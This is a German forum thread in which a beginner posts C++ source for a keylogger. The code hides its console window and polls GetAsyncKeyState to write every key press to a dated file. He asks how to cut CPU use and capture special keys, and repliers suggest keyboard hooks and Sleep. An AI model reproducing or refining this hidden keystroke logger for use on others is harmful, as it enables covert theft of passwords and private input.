Progamm Optimierung

Guten Abend,
Ich bin PHP Programmier und beschäftige mich in der Freizeit mit C++.
Bin noch ein anfänger also bitte zersägt mich nicht gleich :D.

Ich habe für die Arbeit ein art Keylogger in C++ programmiert um meine Tastenschläge zu protokolieren und zu zählen. Das klappt mitlerweile auch richtig gut. (anfänglich hatte ich die Konsole noch offen und arge probleme mit der speicherung der logs)

Den Code selbst hab ich nicht komplett selbst erstellt ich habe mich schon mehrer forum und webseiten informiert.

Nun hab ich nur noch ein paar Probleme und wende mich zu euch.

Wenn ich das Programm am laufen habe, frist es 50% der Prozessorleistung. (Mein verdacht es liegt an der WHILE schleife)
dabei ist mir aufgefallen, wenn ich das Programm 2 mal Ausführe keine 100 prozentige garantie besteht das alle Buchstaben aufgeführt werden, dass heißt in der praxis kommt der prozessor einmal ans maximum nimmt er nicht mehr alle eingaben auf. Kann man dies vlt irgendwie unterbinden bzw. das das Programm generell weniger Prozessorleistung frisst?
Habt ihr da Ideen?

Auserdem nimmt er nicht alle Keys auf zum Beispiel ALT oder STRG oder F1 - F12 werden durch normale Buchstaben ersetzt, wobei ich da schon einiges in diesem Forum darüber gelesen habe.
Momentan benutze ich für das auslesen der Eingaben GetAsyncKeyState habe aber schon von der GetKeyboardState Funktion gehört. Gibt es für diese Funktion ein einfaches Beispiel wie sie Funktioniert?


Code:
////////////
// Windows consolen fenster Unsichbar
////////////
int WINAPI WinMain(HINSTANCE hI, HINSTANCE, TCHAR*, int) 
{ 
 
char Titel[500];
HWND hWnd = NULL;

GetConsoleTitle(Titel, 500);
hWnd = FindWindowA(NULL, Titel);
ShowWindow(hWnd, SW_HIDE);

////////////
// Variablen deklarieren
////////////

  SHORT KeyState;
  SHORT ArrKeyState[256];
  long CheckSum;
  long OldCheckSum;

  OldCheckSum = 987654;          // dummy
  
////////////
// Zeit für Dateienname erstellen 
////////////

    time_t now = time(0);
    char timestamp[22];
    strftime(timestamp, 22, "%d.%m.%Y", localtime(&now));
    string newtimer = timestamp;
    string newtexttimer = newtimer+= ".txt";

////////////
// Editor öffnen und zum Überschreiben zwingen
////////////

  fstream datei;

////////////
// Schleife zum Erkennen der Tasteneingabe
////////////

  while (1)
  {
  datei.open(newtexttimer, ios::app);
    CheckSum = 0;
    for (int i = 0; i < 256; i++)
    {
      KeyState = GetAsyncKeyState(i);
      CheckSum += KeyState;
      ArrKeyState[i] = KeyState;

    }

    if (OldCheckSum != CheckSum)
    {
      for (int i = 0; i < 256; i++)
      {
        // -32767 = KeyDown
        if (ArrKeyState[i] == -32767)

        {

            if(i == 1){
            
            datei << "lmt ";
            } 
            else{

                if (i == 2){
            datei << "rmt ";
                }
                else{
        datei << (char) i << " ";
        
            }
        }
      }
    }
    OldCheckSum = CheckSum;
  }
     datei.close();
  }

}
 
Effizienter ist es per Hooks zu arbeiten:
Hooks Overview (Windows)
Damit definierst du eine Funktion, die aufgerufen werden soll wenn ein Knopf gedrückt wird.. Damit bekommst du alle Eingaben mit ohne iwie explosionsmäßig viel CPU-Leistung zu verbraten
 
Sleep Function (Windows)


GetAsyncKeyState Function (Windows)

if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState. However, you should not rely on this last behavior; for more information, see the Remarks.

due to the pre-emptive multitasking nature of Windows, another application can call GetAsyncKeyState and receive the "recently pressed" bit instead of your application. The behavior of the least significant bit of the return value is retained strictly for compatibility with 16-bit Windows applications (which are non-preemptive) and should not be relied upon.

btw
http://de.wikipedia.org/wiki/Nyquist-Shannon-Abtasttheorem
http://en.wikipedia.org/wiki/Polling_(computer_science)
http://en.wikipedia.org/wiki/Copy_and_paste_programming

wenn du schon Code kopierst den du nicht verstehst dann nimm zumindest keinen der 10Jahre alt ist.
 
Zuletzt bearbeitet:
@ChiefWiggum Danke, hab ich mir schon angesehen, hört sich gut an muß mich da aber erst zurecht finden.

@multivac Du hast natürlich recht, nicht alles ist von mir aber warum auch das Rad neu erfinden.... ? Übrigens danke für den Hinweis mit der Sleep - Funktion die hatte ich total vergessen.
 
Zurück
Oben